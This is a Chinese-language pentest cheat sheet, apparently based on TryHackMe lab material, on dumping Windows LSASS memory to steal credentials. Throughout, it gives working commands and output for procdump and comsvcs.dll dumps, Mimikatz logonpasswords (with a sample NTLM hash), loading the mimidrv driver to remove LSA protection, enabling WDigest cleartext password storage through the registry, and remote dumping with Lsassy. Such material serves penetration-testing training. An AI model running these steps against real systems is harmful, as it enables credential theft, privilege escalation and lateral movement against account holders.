权限：管理员 | 系统

描述： LSASS 中会存储有关用户账户的敏感信息，我们可以转储其中内容以进行权限提升

GUI

LSASS - 图1

ProcDump

ProcDump - Sysinternals

ProcDump 是一个 Sysinternals 命令行运行程序

  1. C:\Tools\Mimikatz>c:\Tools\SysinternalsSuite\procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump
  3. ProcDump v10.0 - Sysinternals process dump utility
  4. Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
  5. Sysinternals - www.sysinternals.com
  7. [02:48:36] Dump 1 initiated: c:\Tools\Mimikatz\lsass_dump.dmp
  8. [02:48:36] Dump 1 writing: Estimated dump file size is 153 MB.
  9. [02:48:39] Dump 1 complete: 153 MB written in 3.6 seconds
  10. [02:48:39] Dump count reached.
然后可以使用Mimikatz从lsass_dump.dmp文件中提取信息。 
  1. Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
  2. Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"

Mimikatz

启动程序

  1. C:\Tools\Mimikatz> mimikatz.exe
  3.   .#####.   mimikatz 2.2.0 (x64) #18362 Jul 10 2019 23:09:43
  4.  .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
  5.  ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  6.  ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  7.  '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  8.   '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/
  10. mimikatz #

启用 SeDebugPrivilege 并检查我们的权限：

  1. mimikatz # privilege::debug
  2. Privilege '20' OK

授予权限后，我们执行命令来获取 hash

  1. mimikatz # sekurlsa::logonpasswords
  3. Authentication Id : 0 ; 515377 (00000000:0007dd31)
  4. Session           : RemoteInteractive from 3
  5. User Name         : Administrator
  6. Domain            : THM
  7. Logon Server      : CREDS-HARVESTIN
  8. Logon Time        : 6/3/2022 8:30:44 AM
  9. SID               : S-1-5-21-1966530601-3185510712-10604624-500
  10.         msv :
  11.          [00000003] Primary
  12.          * Username : Administrator
  13.          * Domain   : THM
  14.          * NTLM     : 98d3a787a80d08385cea7fb4aa2a4261
  15.          * SHA1     : 64a137cb8178b7700e6cffa387f4240043192e72
  16.          * DPAPI    : bc355c6ce366fdd4fd91b54260f9cf70
  17. ...

受保护的 LSASS

微软在 2012 年启动了 LSA 保护，以防止 LSASS 被访问或者从内存中提取凭据，我们将演示如何使用 Mimikatz 禁用 LSA 保护并从内存中转储凭据。

若要启用 LSASS 保护，我们可以将注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa RunAsPPL DWORD 值修改为 1

当我们启用了 LSA 保护时我们在执行 sekurlsa::logonpasswords 时会报错

  1. mimikatz # sekurlsa::logonpasswords
  2. ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
该命令返回0x00000005错误代码消息（拒绝访问）。幸运的是，Mimikatz 提供了一个 mimidrv.sys 驱动程序，该驱动程序在内核级别工作以禁用 LSA 保护。我们可以通过执行“！+”将其导入Mimikatz，如下所示: 
  1. mimikatz # !+
  2. [*] 'mimidrv' service not present
  3. [+] 'mimidrv' service successfully registered
  4. [+] 'mimidrv' service ACL to everyone
  5. [+] 'mimidrv' service started
加载驱动程序后，我们可以通过执行以下 Mimikatz 命令来禁用 LSA 保护： 
  1. mimikatz # !processprotect /process:lsass.exe /remove
  2. Process : lsass.exe
  3. PID 528 -> 00/00 [0-0-0]

然后再次执行 sekurlsa::logonpasswords

转储明文凭据

WDigest 使用的存储机制将密码以明文形式存储在内存中。如果攻击者获得了对系统的访问权限，他们可以利用Mimikatz和Lsasy等工具不仅检索存储在内存中的密码哈希，还可以检索明文形式的实际密码

因此，攻击者将不仅限于横向移动的哈希传递方法，而且可能获得对其他资源的访问权限，例如 Exchange、内部网站以及需要用户 ID 和密码进行身份验证的任何其他系统。

  1. # CMD (Enable), Requires user to log off/on or lock screen to store in cleartext
  2. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  4. # CMD (Disable), System reboot required to complete
  5. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
  1. # Mimikatz (Everything)
  2. Invoke-Mimikatz -DumpCreds
  3. # Mimikatx (Just WDigest)
  4. Invoke-Mimikatz -Command '"sekurlsa::wdigest"'
  6. # Lsassy
  7. lsassy -u '[User]' -p '[Password]' -d '[Domain]' '[Target-IP]' --users --exec smb

LSASS - 图2

comsvcs.dll

  1. # Get lsass.exe PID
  2. tasklist /fi "Imagename eq lsass.exe"
  4. # Call comsvcs.dll and dump to file.
  5. C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> \Windows\Temp\lsass_dump.dmp full
  7. # Dump with Mimikatz
  8. Invoke-Mimikatz -Command "sekurlsa::Minidump lsass_dump.dmp"
  9. Invoke-Mimikatz -Command "sekurlsa::logonPasswords /full"

参考

LSASS Memory - Pentest Everything

TryHackMe | Cyber Security Training